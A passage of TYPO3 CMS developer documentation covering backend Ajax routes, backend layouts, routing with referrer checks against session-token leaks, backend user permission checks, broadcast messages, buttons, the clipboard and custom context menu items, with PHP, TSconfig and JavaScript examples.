        // TODO: return ResponseInterface
    }
}
Copied!

We have computed our result by using the exponentiation operator, but we do nothing with it yet. It is time to build a proper response:

EXT:my_extension/Classes/Controller/ExampleController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use Psr\Http\Message\ResponseFactoryInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;

final class ExampleController
{
    public function __construct(
        private readonly ResponseFactoryInterface $responseFactory,
    ) {}

    public function doSomethingAction(ServerRequestInterface $request): ResponseInterface
    {
        $input = $request->getQueryParams()['input']
            ?? throw new \InvalidArgumentException(
                'Please provide a number',
                1580585107,
            );

        $result = $input ** 2;

        $response = $this->responseFactory->createResponse()
            ->withHeader('Content-Type', 'application/json; charset=utf-8');
        $response->getBody()->write(
            json_encode(['result' => $result], JSON_THROW_ON_ERROR),
        );
        return $response;
    }
}
Copied!

Register the endpoint

The endpoint must be registered as route. Create a file called Configuration/Backend/AjaxRoutes.php in your extension. The file basically just returns an array of route definitions. Every route in this file will be exposed to JavaScript automatically. Let us register our endpoint now:

EXT:my_extension/Configuration/Backend/AjaxRoutes.php
<?php

use MyVendor\MyExtension\Controller\ExampleController;

return [
    'myextension_example_dosomething' => [
        'path' => '/my-extension/example/do-something',
        'target' => ExampleController::class . '::doSomethingAction',
    ],
];
Copied!

The naming of the key myextension_example_dosomething and path /my-extension/example/do-something are up to you, but should contain the extension name, controller name and action name to avoid potential conflicts with other existing routes.

Use in Ajax

Since the route is registered in AjaxRoutes.php it is exposed to JavaScript now and stored in the global TYPO3.settings.ajaxUrls object identified by the used key in the registration. In this example it is TYPO3.settings.ajaxUrls.myextension_example_dosomething.

Now you are free to use the endpoint in any of your Ajax calls. To complete this example, we will ask the server to compute our input and write the result into the console.

EXT:my_extension/Resources/Public/JavaScript/Calculate.js
import AjaxRequest from "@typo3/core/ajax/ajax-request.js";

// Generate a random number between 1 and 32
const randomNumber = Math.ceil(Math.random() * 32);
new AjaxRequest(TYPO3.settings.ajaxUrls.myextension_example_dosomething)
  .withQueryArguments({input: randomNumber})
  .get()
  .then(async function (response) {
    const resolved = await response.resolve();
    console.log(resolved.result);
  });
Copied!

Backend layout

Backend layouts can be defined as database records or via page TSconfig. Page TSconfig should be preferred as it can be stored in the file system and be kept under version control.

Backend layout video

Benjamin Kott: How to implement frontend layouts in TYPO3 using backend layouts

Backend layout configuration

The backend layout to be used can be configurated for each page and/or a pages' subpages in the Page properties > Appearance. Multiple backend layouts are available if an extension providing backend layouts is installed or backend layouts have been defined as records or page TSconfig.

Choose the backend layout in the page properties

The Info module gives an overview of the backend layouts configured or inherited from a parent page at Web > Info > Pagetree overview > Type: Layouts:

Overview of the backend layouts used

Backend layout definition

Backend layouts can be configured either as "backend layout" record in a sysfolder or as page TSconfig entry in mod.web_layout.BackendLayouts. Each layout will be saved with a key. The "backend layout" records are using their uid as a key, therefore layouts defined via page TSconfig should use a non-numeric string key. It is a good practice to use a descriptive name as key.

The entries title and icon are being used to display the backend layout options in the page properties.

The overall grid size will be defined by config.backend_layout.colCount and rowCount. Additional rows in the rows array and additional columns in the each rows columns section will be ignored when they are greater than rowCount or colCount respectively.

Each column position can span several columns and or several rows. Each column position must have a distinct number between 0 and n. It is best practice to always assign "0" to the main column if there is such a thing as a main column. Multiple backend layouts that contain similar parts, i.e. header, footer, aside, ... should each have assigned the same number within one project. This leads to a uniform position of the content, which makes it more clear for further use.

For usage with the page-content data processor, an identifier string must be assigned to each column. The default backend layout definition uses identifier = main for column 0.

Backend layout simple example

The following page TSconfig example creates a simple backend layout consisting of two rows and just one column.

mod {
  web_layout {
    BackendLayouts {
      exampleKey {
        title = Example
        config {
          backend_layout {
            colCount = 1
            rowCount = 2
            rows {
              1 {
                columns {
                  1 {
                    identifier = border
                    name = LLL:EXT:frontend/Resources/Private/Language/locallang_ttc.xlf:colPos.I.3
                    colPos = 3
                    colspan = 1
                  }
                }
              }
              2 {
                columns {
                  1 {
                    identifier = main
                    name = Main
                    colPos = 0
                    colspan = 1
                  }
                }
              }
            }
          }
        }
        icon = EXT:example_extension/Resources/Public/Images/BackendLayouts/default.gif
      }
    }
  }
}
Copied!

Backend layout advanced example

The following page TSconfig example creates a 3x3 backend layout with 5 column position sections in total. The topmost row (here called "header") spans all 3 columns. There is an "aside" spanning two rows on the right.

mod.web_layout.BackendLayouts {
  exampleKey {
    title = Example
    icon = EXT:example_extension/Resources/Public/Images/BackendLayouts/default.gif
    config {
      backend_layout {
        colCount = 3
        rowCount = 3
        rows {
          1 {
            columns {
              1 {
                identifier = header
                name = Header
                colspan = 3
                colPos = 1
              }
            }
          }
          2 {
            columns {
              1 {
                identifier = main
                name = Main
                colspan = 2
                colPos = 0
              }
              2 {
                identifier = aside
                name = Aside
                rowspan = 2
                colPos = 2
              }
            }
          }
          3 {
            columns {
              1 {
                identifier = left
                name = Main Left
                colPos = 5
              }
              2 {
                identifier = right
                name = Main Right
                colPos = 6
              }
            }
          }
        }
      }
    }
  }
}
Copied!

Output of a backend layout in the frontend

The backend layout to be used on a certain page gets determined either by the backend layout being chosen directly and stored in the pages field "backend_layout" or by the field "backend_layout_next_level" of a parent page up the rootline.

To avoid complex TypoScript for integrators, the handling of backend layouts has been simplified for the frontend.

To get the correct backend layout, the following TypoScript code can be used:

page.10 = FLUIDTEMPLATE
page.10 {
  file.stdWrap.cObject = CASE
  file.stdWrap.cObject {
	key.data = pagelayout

	default = TEXT
	default.value = EXT:sitepackage/Resources/Private/Templates/Home.html

	3 = TEXT
	3.value = EXT:sitepackage/Resources/Private/Templates/1-col.html

	4 = TEXT
	4.value = EXT:sitepackage/Resources/Private/Templates/2-col.html
  }
}
Copied!

Using data = pagelayout is the same as using as

field = backend_layout
ifEmpty.data = levelfield:-2,backend_layout_next_level,slide
ifEmpty.ifEmpty = default
Copied!

In the Fluid template the column positions can be accessed now via content mapping as described here Display the content elements on your page.

Reference implementations of backend layouts

The extension bk2k/bootstrap-package ships several Backend layouts as well as an example configuration of how to include frontend templates for backend layouts (see its setup.typoscript)

Extensions for backend layouts

In many cases besides defining fixed backend layouts a more modular approach with the possibility of combining different backend layouts and frontend layouts may be feasible. The extension b13/container integrates the grid layout concept also to regular content elements.

The extension ichhabrecht/content-defender offers advanced options to the column positions i.e. allowed or disallowed content elements, a maximal number of content elements.

Backend routing

Each request to the backend is eventually executed by a controller. A list of routes is defined which maps a given request to a controller and an action.

Routes are defined inside extensions, in the files

Here is an extract of EXT:backend/Configuration/Backend/Routes.php (GitHub):

EXT:backend/Configuration/Backend/Routes.php (excerpt)
<?php

use TYPO3\CMS\Backend\Controller;

return [
    // Login screen of the TYPO3 Backend
    'login' => [
        'path' => '/login',
        'access' => 'public',
        'target' => Controller\LoginController::class . '::formAction',
    ],

    // Main backend rendering setup (previously called backend.php) for the TYPO3 Backend
    'main' => [
        'path' => '/main',
        'referrer' => 'required,refresh-always',
        'target' => Controller\BackendController::class . '::mainAction',
    ],

    // ...
];
Copied!

So, a route file essentially returns an array containing route mappings. A route is defined by a key, a path, a referrer and a target. The "public" access property indicates that no authentication is required for that action.

Backend routing and cross-site scripting

Public backend routes (those having option 'access' => 'public') do not require any session token, but can be used to redirect to a route that requires a session token internally. For this context, the backend user logged in must have a valid session.

This scenario can lead to situations where an existing cross-site scripting vulnerability (XSS) bypasses the mentioned session token, which can be considered cross-site request forgery (CSRF). The difference in terminology is that this scenario occurs on same-site requests and not cross-site - however, potential security implications are still the same.

Backend routes can enforce the existence of an HTTP referrer header by adding a referrer to routes to mitigate the described scenario.

'main' => [
    'path' => '/main',
    'referrer' => 'required,refresh-empty',
    'target' => Controller\BackendController::class . '::mainAction'
],
Copied!

Values for referrer are declared as a comma-separated list:

  • required enforces existence of HTTP Referer header that has to match the currently used backend URL (for example, https://example.org/typo3/), the request will be denied otherwise.
  • refresh-empty triggers an HTML-based refresh in case HTTP Referer header is not given or empty - this attempt uses an HTML refresh, since regular HTTP Location redirect still would not set a referrer. It implies this technique should only be used on plain HTML responses and will not have any impact, for example, on JSON or XML response types.

This technique should be used on all public routes (without session token) that internally redirect to a restricted route (having a session token). The goal is to protect and keep information about the current session token internal.

The request sequence in the TYPO3 Core looks like this:

  1. HTTP request to https://example.org/typo3/ having a valid user session
  2. Internally public backend route /login is processed
  3. Internally redirects to restricted backend route /main since an existing and valid backend user session was found + HTTP redirect to https://example.org/typo3/main?token=... + exposing the token is mitigated with referrer route option mentioned above

Dynamic URL parts in backend URLs

Backend routes can be registered with path segments that contain dynamic parts, which are then resolved into a PSR-7 request attribute called routing.

These routes are defined within the route path as named placeholders:

EXT:my_extension/Configuration/Backend/Routes.php
<?php

use MyVendor\MyExtension\Controller\MyRouteController;

return [
    'my_route' => [
        'path' => '/my-route/{identifier}',
        'target' => MyRouteController::class . '::handle',
    ],
];
Copied!

Within a controller (we use here a non-Extbase controller as example):

EXT:my_extension/Classes/Controller/MyRouteController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;

final class MyRouteController
{
    public function handle(ServerRequestInterface $request): ResponseInterface
    {
        $routing = $request->getAttribute('routing');
        $myIdentifier = $routing['identifier'];
        $route = $routing->getRoute();
        // ...
    }
}
Copied!

Generating backend URLs

Using the UriBuilder API, you can generate any kind of URL for the backend, may it be a module, a typical route or an Ajax call. Therefore use either buildUriFromRoute() or buildUriFromRoutePath(). The UriBuilder then returns a PSR-7 conform Uri object that can be cast to a string when needed. Furthermore, the UriBuilder automatically generates and applies the mentioned session token.

To generate a backend URL via the UriBuilder you'd usually use the route identifier and optional parameters.

In case of Extbase controllers you can append the controller action to the route identifier to directly target those actions. See also module configuration: controllerActions.

Via Fluid ViewHelper

To generate a backend URL in Fluid you can simply use html:<f:be.link> (which is using UriBuilder internally).

<f:be.link route="web_layout" parameters="{id:42}">go to page 42</f:be.link>
<f:be.link route="web_ExtkeyExample">go to custom BE module</f:be.link>
<f:be.link route="web_ExtkeyExample.MyModuleController_list">
    go to custom BE module but specific controller action
</f:be.link>
Copied!

Via PHP

Example within a controller (we use here a non-Extbase controller):

EXT:my_extension/Classes/Controller/MyRouteController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Backend\Routing\UriBuilder;

final class MyRouteController
{
    public function __construct(
        private readonly UriBuilder $uriBuilder,
    ) {}

    public function handle(ServerRequestInterface $request): ResponseInterface
    {
        // ... do some stuff

        // Using a route identifier
        $uri = $this->uriBuilder->buildUriFromRoute(
            'web_layout',
            ['id' => 42],
        );

        // Using a route path
        $uri = $this->uriBuilder->buildUriFromRoutePath(
            '/record/edit',
            [
                'edit' => [
                    'pages' => [
                        123 => 'edit',
                    ],
                ],
            ],
        );

        // Using a PSR-7 request object
        // This is typically useful when linking to the current route or module
        // in the TYPO3 backend to avoid internals with any PSR-7 request attribute.
        $uri = $this->uriBuilder->buildUriFromRequest($request, ['id' => 42]);

        // ... do some other stuff
    }
}
Copied!

New in version 13.0

The UriBuilder->buildUriFromRequest() method has been introduced.

Sudo mode

The sudo mode, as known from the install tool, can be request for arbitrary backend modules.

You can configure the sudo mode in your backend routing like this:

EXT:my_extension/Configuration/Backend/Routes.php
<?php

use MyVendor\MyExtension\Handlers\MyHandler;
use TYPO3\CMS\Backend\Security\SudoMode\Access\AccessLifetime;

return [
    'my-route' => [
        'path' => '/my/route',
        'target' => MyHandler::class . '::process',
        'sudoMode' => [
            'group' => 'mySudoModeGroup',
            'lifetime' => AccessLifetime::S,
        ],
    ],
];
Copied!

See also Custom backend modules requiring the sudo mode.

More information

Please refer to the following resources and look at how the TYPO3 source code handles backend routing in your TYPO3 version.

Backend user object

The backend user of a session is always available in extensions as the global variable $GLOBALS['BE_USER']. The object is created in \TYPO3\CMS\Backend\Middleware\BackendUserAuthenticator middleware for a standard web request and is an instance of the class \TYPO3\CMS\Core\Authentication\BackendUserAuthentication (which extends \TYPO3\CMS\Core\Authentication\AbstractUserAuthentication ).

When working with CLI and commands you might initialize the backend user object with \TYPO3\CMS\Core\Core\Bootstrap::initializeBackendUser(). In addition, you can call \TYPO3\CMS\Core\Core\Bootstrap::initializeBackendAuthentication() to load the language of the CLI user set in the backend so that view helpers (like f:translate()) used in the CLI resolve to the correct language.

Checking user access

The $GLOBALS['BE_USER'] object is mostly used to check user access right, but contains other helpful information. This is presented here by a few examples:

Checking access to any backend module

If you know the module key you can check if the module is included in the access list by this function call:

EXT:some_extension/Classes/Controller/SomeModuleController.php
$GLOBALS['BE_USER']->check('modules', 'web_list');
Copied!

Here access to the module Web > List is checked.

Access to tables and fields?

The same function ->check() can actually check all the group-based permissions inside $GLOBALS['BE_USER']. For instance:

Checking modify access to the table "pages":

EXT:some_extension/Classes/Controller/SomeModuleController.php
$GLOBALS['BE_USER']->check('tables_modify', 'pages');
Copied!

Checking read access to the table "tt_content":

EXT:some_extension/Classes/Controller/SomeModuleController.php
$GLOBALS['BE_USER']->check('tables_select', 'tt_content');
Copied!

Checking if a table/field pair is allowed explicitly through the "Allowed Excludefields":

EXT:some_extension/Classes/Controller/SomeController.php
$GLOBALS['BE_USER']->check('non_exclude_fields', $table . ':' . $field);
Copied!

Is "admin"?

If you want to know if a user is an "admin" user (has complete access), just call this method:

EXT:some_extension/Classes/Controller/SomeModuleController.php
$GLOBALS['BE_USER']->isAdmin();
Copied!

Read access to a page?

This function call will return true if the user has read access to a page (represented by its database record, $pageRec):

EXT:some_extension/Classes/Controller/SomeModuleController.php
$GLOBALS['BE_USER']->doesUserHaveAccess($pageRec, 1);
Copied!

Changing the "1" for other values will check other permissions:

  • use "2" for checking if the user may edit the page
  • use "4" for checking if the user may delete the page.

Is a page inside a DB mount?

Access to a page should not be checked only based on page permissions but also if a page is found within a DB mount for ther user. This can be checked by this function call ( $id is the page uid):

EXT:some_extension/Classes/Controller/SomeModuleController.php
$GLOBALS['BE_USER']->isInWebMount($id)
Copied!

Selecting readable pages from database?

If you wish to make a SQL statement which selects pages from the database and you want it to be only pages that the user has read access to, you can have a proper WHERE clause returned by this function call:

EXT:some_extension/Classes/Controller/SomeModuleController.php
$GLOBALS['BE_USER']->getPagePermsClause(1);
Copied!

Again the number "1" represents the "read" permission; "2" is "edit" and "4" is "delete" permission. The result from the above query could be this string:

Result of the above query
((pages.perms_everybody & 1 = 1)OR(pages.perms_userid = 2 AND pages.perms_user & 1 = 1)OR(pages.perms_groupid in (1) AND pages.perms_group & 1 = 1))
Copied!

Saving module data

This stores the input variable $compareFlags (an array!, retrieved from the request object) with the key "tools_beuser/index.php/compare":

EXT:some_extension/Classes/Controller/SomeModuleController.php
$compareFlags = $request->getParsedBody()['compareFlags'])
    ?? $request->getQueryParams()['compareFlags'])
    ?? null;
$GLOBALS['BE_USER']->pushModuleData('tools_beuser/index.php/compare', $compareFlags);
Copied!

Getting module data

This gets the module data with the key "tools_beuser/index.php/compare" (lasting only for the session) :

EXT:some_extension/Classes/Controller/SomeModuleController.php
$compareFlags = $GLOBALS['BE_USER']->getModuleData('tools_beuser/index.php/compare', 'ses');
Copied!

Getting TSconfig

This function can return a value from the "user TSconfig" structure of the user. In this case the value for "options.clipboardNumberPads":

EXT:some_extension/Classes/Controller/SomeModuleController.php
$tsconfig = $GLOBALS['BE_USER']->getTSConfig();
$clipboardNumberPads = $tsconfig['options.']['clipboardNumberPads'] ?? '';
Copied!

Getting the Username

The full "be_users" record of a authenticated user is available in $GLOBALS['BE_USER']->user as an array. This will return the "username":

EXT:some_extension/Classes/Controller/SomeModuleController.php
$GLOBALS['BE_USER']->user['username']
Copied!

Get User Configuration Value

The internal ->uc array contains options which are managed by the User Tools > User Settings module (extension "setup"). These values are accessible in the $GLOBALS['BE_USER']->uc array. This will return the current state of "Notify me by email, when somebody logs in from my account" for the user:

EXT:some_extension/Classes/Controller/SomeModuleController.php
$GLOBALS['BE_USER']->uc['emailMeAtLogin']
Copied!

Broadcast channels

It is possible to send broadcast messages from anywhere in TYPO3 that are listened to via JavaScript.

Send a message

Any backend module may send a message using the @typo3/backend/broadcast-service.js ES6 module.

The payload of such a message is an object that consists at least of the following properties:

  • componentName - the name of the component that sends the message (e.g. extension name)
  • eventName - the event name used to identify the message

A message may contain any other property as necessary. The final event name to listen is a composition of "typo3", the component name and the event name, e.g. typo3:my_extension:my_event.

To send a message, the post() method must be used.

Example code:

EXT:my_broadcast_extension/Resources/Public/JavaScript/my-broadcast-service.js
import BroadcastService from "@typo3/backend/broadcast-service.js";

class MyBroadcastService {
  constructor() {
    const payload = {
      componentName: 'my_extension',
      eventName: 'my_event',
      hello: 'world',
      foo: ['bar', 'baz']
    };
    BroadcastService.post(payload);
  }
}
export default new MyBroadcastService();
Copied!

Receive a message

To receive and thus react on a message, an event handler needs to be registered that listens to the composed event name (e.g. typo3:my_component:my_event) sent to document.

The event itself contains a property called detail excluding the component name and event name.

Example code:

EXT:my_extension/Resources/Public/JavaScript/my-event-handler.js
class MyEventHandler {
  constructor() {
    document.addEventListener('typo3:my_component:my_event', (e) => eventHandler(e.detail));
  }

  function eventHandler(detail) {
    console.log(detail); // contains 'hello' and 'foo' as sent in the payload
  }
}
export default new MyEventHandler();
Copied!

Hook into $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['typo3/backend.php']['constructPostProcess'] to load a custom \TYPO3\CMS\Backend\Controller\BackendController hook that loads the event handler's JavaScript.

Example code:

EXT:my_extension/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['typo3/backend.php']['constructPostProcess'][]
    = \MyVendor\MyExtension\Hooks\BackendControllerHook::class . '->registerClientSideEventHandler';
Copied!
EXT:my_extension/Classes/Hooks/BackendControllerHook.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Hooks;

use TYPO3\CMS\Core\Page\PageRenderer;

final class BackendControllerHook
{
    public function __construct(
        private readonly PageRenderer $pageRenderer,
    ) {}

    public function registerClientSideEventHandler(): void
    {
        $this->pageRenderer->loadJavaScriptModule(
            '@myvendor/my-extension/event-handler.js',
        );
        $this->pageRenderer->addInlineLanguageLabelFile(
            'EXT:my_extension/Resources/Private/Language/locallang_slug_service.xlf',
        );
    }
}
Copied!
EXT:my_extension/Configuration/Services.yaml
services:
  _defaults:
    autowire: true
    autoconfigure: true
    public: false

  MyVendor\MyExtension\Hooks\BackendControllerHook:
    public: true
Copied!

See also: What to make public?

Button components

The button components are used in the DocHeader of a backend module.

Example on how to use a button component:

EXT:my_extension/Classes/Controller/MyBackendController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Backend\Template\Components\ButtonBar;
use TYPO3\CMS\Backend\Template\Components\Buttons\DropDown\DropDownItem;
use TYPO3\CMS\Backend\Template\ModuleTemplate;
use TYPO3\CMS\Backend\Template\ModuleTemplateFactory;
use TYPO3\CMS\Core\Imaging\IconFactory;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyBackendController
{
    private ModuleTemplate $moduleTemplate;

    public function __construct(
        protected readonly ModuleTemplateFactory $moduleTemplateFactory,
        protected readonly IconFactory $iconFactory,
        // ...
    ) {}

    public function handleRequest(ServerRequestInterface $request): ResponseInterface
    {
        $this->moduleTemplate = $this->moduleTemplateFactory->create($request);
        $this->setDocHeader();
        // ... some more logic
    }

    private function setDocHeader(): void
    {
        $buttonBar = $this->moduleTemplate->getDocHeaderComponent()->getButtonBar();
        $dropDownButton = $buttonBar->makeDropDownButton()
            ->setLabel('Dropdown')
            ->setTitle('Save')
            ->setIcon($this->iconFactory->getIcon('actions-heart'))
            ->addItem(
                GeneralUtility::makeInstance(DropDownItem::class)
                    ->setLabel('Item')
                    ->setHref('#'),
            );
        $buttonBar->addButton(
            $dropDownButton,
            ButtonBar::BUTTON_POSITION_RIGHT,
            2,
        );
    }
}
Copied!

Generic button component

The component \TYPO3\CMS\Backend\Template\Components\Buttons\GenericButton allows to render any markup in the module menu bar.

Example:

EXT:my_extension/Classes/Controller/MyBackendController.php
$buttonBar = $this->moduleTemplate->getDocHeaderComponent()->getButtonBar();
$genericButton = GeneralUtility::makeInstance(GenericButton::class)
    ->setTag('a')
    ->setHref('#')
    ->setLabel('My label')
    ->setTitle('My title')
    ->setIcon($this->iconFactory->getIcon('actions-heart'))
    ->setAttributes(['data-value' => '123']);
$buttonBar->addButton($genericButton, ButtonBar::BUTTON_POSITION_RIGHT, 2);
Copied!

Clipboard

You can easily access the internal clipboard in TYPO3 from your backend modules:

Extension examples, file Classes/Controller/ModuleController.php
use TYPO3\CMS\Backend\Clipboard\Clipboard;
use TYPO3\CMS\Core\Utility\DebugUtility;
use TYPO3\CMS\Core\Utility\GeneralUtility;

class ModuleController extends ActionController implements LoggerAwareInterface
{
    protected function debugClipboard()
    {
        /** @var $clipboard Clipboard */
        $clipboard = GeneralUtility::makeInstance(Clipboard::class);
        // Read the clipboard content from the user session
        $clipboard->initializeClipboard();
        DebugUtility::debug($clipboard->clipData);
    }
}
Copied!

In this simple piece of code we instantiate a clipboard object and make it load its content. We then dump this content into the BE module's debug window, with the following result:

A dump of the clipboard in the debug window

This tells us what objects are registered on the default tab ("normal") (a content element with id 216 in "copy" mode) and the numeric tabs (which can each contain more than one element). It also tells us that the current tab is number 2. We can compare with the BE view of the clipboard:

The clipboard as seen in the backend

which indeed contains two files.

Clipboard content should not be accessed directly, but using the elFromTable() method of the clipboard object:

Extension examples, file Classes/Controller/ModuleController.php
use TYPO3\CMS\Backend\Clipboard\Clipboard;
use TYPO3\CMS\Core\Utility\GeneralUtility;

class ModuleController extends ActionController implements LoggerAwareInterface
{
    protected function getCurrentClipboard():array
    {
        /** @var $clipboard Clipboard */
        $clipboard = GeneralUtility::makeInstance(Clipboard::class);
        // Read the clipboard content from the user session
        $clipboard->initializeClipboard();
        // Access files and pages content of current pad
        $clipboardContent = [
            'files' => $clipboard->elFromTable('_FILE'),
            'pages' => $clipboard->elFromTable('pages'),
        ];
        return $clipboardContent;
    }
}
Copied!

Here we first try to get all files and then all page records on the current pad (which is pad 2). Then we change to the "Normal" pad, call the elFromTable() method again.

In the "examples" extension, this data is passed to a BE module view for display, which is really just information:

Clipboard items

Context-sensitive menus

Contextual menus exist in many places in the TYPO3 backend. Just try your luck clicking on any icon that you see. Chances are good that a contextual menu will appear, offering useful functions to execute.

The context menu now contains an additional item "Hello World"

The context menu shown after clicking on the Content Element icon

Context menu rendering flow

Markup

Changed in version 13.0

The configuration of the context menu was streamlined. Replace

  • class="t3js-contextmenutrigger" with data-contextmenu-trigger="click"
  • data-table="pages" with data-contextmenu-table="pages"
  • data-uid="10" with data-contextmenu-uid="10"
  • data-context="tree" with data-contextmenu-context="tree"

to be compatible with TYPO3 v12+.

The context menu is shown after clicking on the HTML element which has the data-contextmenu-trigger attribute set together with data-contextmenu-table, data-contextmenu-uid and optional data-contextmenu-context attributes.

The HTML attribute data-contextmenu-trigger has the following options:

  • click: Opens the context menu on the "click" and "contextmenu" events
  • contextmenu: Opens the context menu only on the "contextmenu" event

The JavaScript click event handler is implemented in the ES6 module @typo3/backend/context-menu.js. It takes the data attributes mentioned above and executes an Ajax call to the \TYPO3\CMS\Backend\Controller\ContextMenuController->getContextMenuAction().

ContextMenuController

ContextMenuController asks \TYPO3\CMS\Backend\ContextMenu\ContextMenu to generate an array of items. ContextMenu builds a list of available item providers by asking each whether it can provide items ( $provider->canHandle()), and what priority it has ( $provider->getPriority()).

Item providers registration

Custom item providers must implement \TYPO3\CMS\Backend\ContextMenu\ItemProviders\ProviderInterface and can extend \TYPO3\CMS\Backend\ContextMenu\ItemProviders\AbstractProvider .

They are then automatically registered by adding the backend.contextmenu.itemprovider tag, if autoconfigure is enabled in Services.yaml. The class \TYPO3\CMS\Backend\ContextMenu\ItemProviders\ItemProvidersRegistry then automatically receives those services and registers them.

If autoconfigure is not enabled in your Configuration/Services.(yaml|php) file, manually configure your item providers with the backend.contextmenu.itemprovider tag.

There are two item providers which are always available:

  • \TYPO3\CMS\Backend\ContextMenu\ItemProviders\PageProvider
  • \TYPO3\CMS\Backend\ContextMenu\ItemProviders\RecordProvider

Gathering items

A list of providers is sorted by priority, and then each provider is asked to add items. The generated array of items is passed from an item provider with higher priority to a provider with lower priority.

After that, a compiled list of items is returned to the ContextMenuController which passes it back to the ContextMenu.js as JSON.

API usage in the Core

Several TYPO3 Core modules are already using this API for adding or modifying items. See following places for a reference:

  • EXT:impexp module adds import and export options for pages, content elements and other records. See item provider \TYPO3\CMS\Impexp\ContextMenu\ItemProvider and ES6 module @typo3/impexp/context-menu-actions.js.
  • EXT:filelist module provides several item providers for files, folders, file mounts, filestorage, and drag-drop context menu for the folder tree. See following item providers: \TYPO3\CMS\Filelist\ContextMenu\ItemProviders\FileDragProvider, \TYPO3\CMS\Filelist\ContextMenu\ItemProviders\FileProvider , \TYPO3\CMS\Filelist\ContextMenu\ItemProviders\FileStorageProvider, \TYPO3\CMS\Filelist\ContextMenu\ItemProviders\FilemountsProvider and the ES6 module @typo3/filelist/context-menu-actions.js

Adding context menu to elements in your backend module

Enabling context menu in your own backend modules is quite straightforward. The examples below are taken from the "beuser" system extension and assume that the module is Extbase-based.

The first step is to include the needed JavaScript using the includeJavaScriptModules property of the standard backend container Fluid view helper (or backend page renderer view helper).

Doing so in your layout is sufficient (see typo3/sysext/beuser/Resources/Private/Layouts/Default.html).

<!-- TYPO3 v12 and above -->
<f:be.pageRenderer includeJavaScriptModules="{0: '@typo3/backend/context-menu.js'}">
    // ...
</f:be.pageRenderer>

<!-- TYPO3 v11 and v12 -->
<f:be.pageRenderer
    includeRequireJsModules="{0:'TYPO3/CMS/Backend/ContextMenu'}">
    // ...
</f:be.pageRenderer>
Copied!

The second step is to activate the context menu on the icons. This kind of markup is required (taken from typo3/sysext/beuser/Resources/Private/Templates/BackendUser/Index.html):

<td>
    <a href="#"
        data-contextmenu-trigger="click"
        data-contextmenu-table="be_users"
        data-contextmenu-uid="{compareUser.uid}"
        title="id={compareUser.uid}"
    >
        <be:avatar backendUser="{compareUser.uid}" showIcon="TRUE" />
    </a>
</td>
Copied!

the relevant line being highlighted. The attribute data-contextmenu-trigger triggers a context menu functionality for the current element. The data-contextmenu-table attribute contains a table name of the record and data-contextmenu-uid the uid of the record.

The attribute data-contextmenu-trigger has the following options:

  • click: Opens the context menu on the "click" and "contextmenu" events
  • contextmenu: Opens the context menu only on the "contextmenu" event

One additional data attribute can be used data-contextmenu-context with values being, for example, tree for context menu triggered from the page tree. Context is used to hide menu items independently for page tree independently from other places (disabled items can be configured in TSconfig).

Disabling Context Menu Items from TSConfig

Context menu items can be disabled in TSConfig by adding item name to the options.contextMenu option corresponding to the table and context you want to cover.

For example, disabling edit and new items for table pages use:

options.contextMenu.table.pages.disableItems = edit,new
Copied!

If you want to disable the items just for certain context (for example tree) add the .tree key after table name like that:

options.contextMenu.table.pages.tree.disableItems = edit,new
Copied!

If configuration for certain context is available, the default configuration is not taken into account.

For more details see TSConfig reference.

Tutorial: How to add a custom context menu item

Follow these steps to add a custom menu item for pages records. You will add a "Hello world" item which will show an info after clicking.

The context menu now contains an additional item "Hello World"

Context menu with custom item

Step 1: Implementation of the item provider class

Implement your own item provider class. Provider must implement \TYPO3\CMS\Backend\ContextMenu\ItemProviders\ProviderInterface and can extend \TYPO3\CMS\Backend\ContextMenu\ItemProviders\AbstractProvider or any other provider from EXT:backend.

See comments in the following code snippet clarifying implementation details.

EXT:examples/Classes/ContextMenu/HelloWorldItemProvider.php
<?php

namespace T3docs\Examples\ContextMenu;

/**
 * This file is part of the TYPO3 CMS project.
 *
 * It is free software; you can redistribute it and/or modify it under
 * the terms of the GNU General Public License, either version 2
 * of the License, or any later version.
 *
 * For the full copyright and license information, please read the
 * LICENSE.txt file that was distributed with this source code.
 *
 * The TYPO3 project - inspiring people to share!
 */

use TYPO3\CMS\Backend\ContextMenu\ItemProviders\AbstractProvider;

/**
 * Item provider adding Hello World item
 */
class HelloWorldItemProvider extends AbstractProvider
{
    /**
     * This array contains configuration for items you want to add
     * @var array
     */
    protected $itemsConfiguration = [
        'hello' => [
            'type' => 'item',
            'label' => 'Hello World', // you can use "LLL:" syntax here
            'iconIdentifier' => 'actions-lightbulb-on',
            'callbackAction' => 'helloWorld', //name of the function in the JS file
        ],
    ];

    /**
     * Checks if this provider may be called to provide the list of context menu items for given table.
     *
     * @return bool
     */
    public function canHandle(): bool
    {
        // Current table is: $this->table
        // Current UID is: $this->identifier
//        return $this->table === 'pages';
        return true;
    }

    /**
     * Returns the provider priority which is used for determining the order in which providers are processing items
     * to the result array. Highest priority means provider is evaluated first.
     *
     * This item provider should be called after PageProvider which has priority 100.
     *
     * BEWARE: Returned priority should logically not clash with another provider.
     *         Please check @see \TYPO3\CMS\Backend\ContextMenu\ContextMenu::getAvailableProviders() if needed.
     *
     * @return int
     */
    public function getPriority(): int
    {
        return 55;
    }

    /**
     * Registers the additional JavaScript RequireJS callback-module which will allow to display a notification
     * whenever the user tries to click on the "Hello World" item.
     * The method is called from AbstractProvider::prepareItems() for each context menu item.
     *
     * @param string $itemName
     * @return array
     */
    protected function getAdditionalAttributes(string $itemName): array
    {
        return [
            'data-callback-module' => '@t3docs/examples/context-menu-actions',
            // Here you can also add any other useful "data-" attribute you'd like to use in your JavaScript (e.g. localized messages)
        ];
    }

    /**
     * This method adds custom item to list of items generated by item providers with higher priority value (PageProvider)
     * You could also modify existing items here.
     * The new item is added after the 'info' item.
     *
     * @param array $items
     * @return array
     */
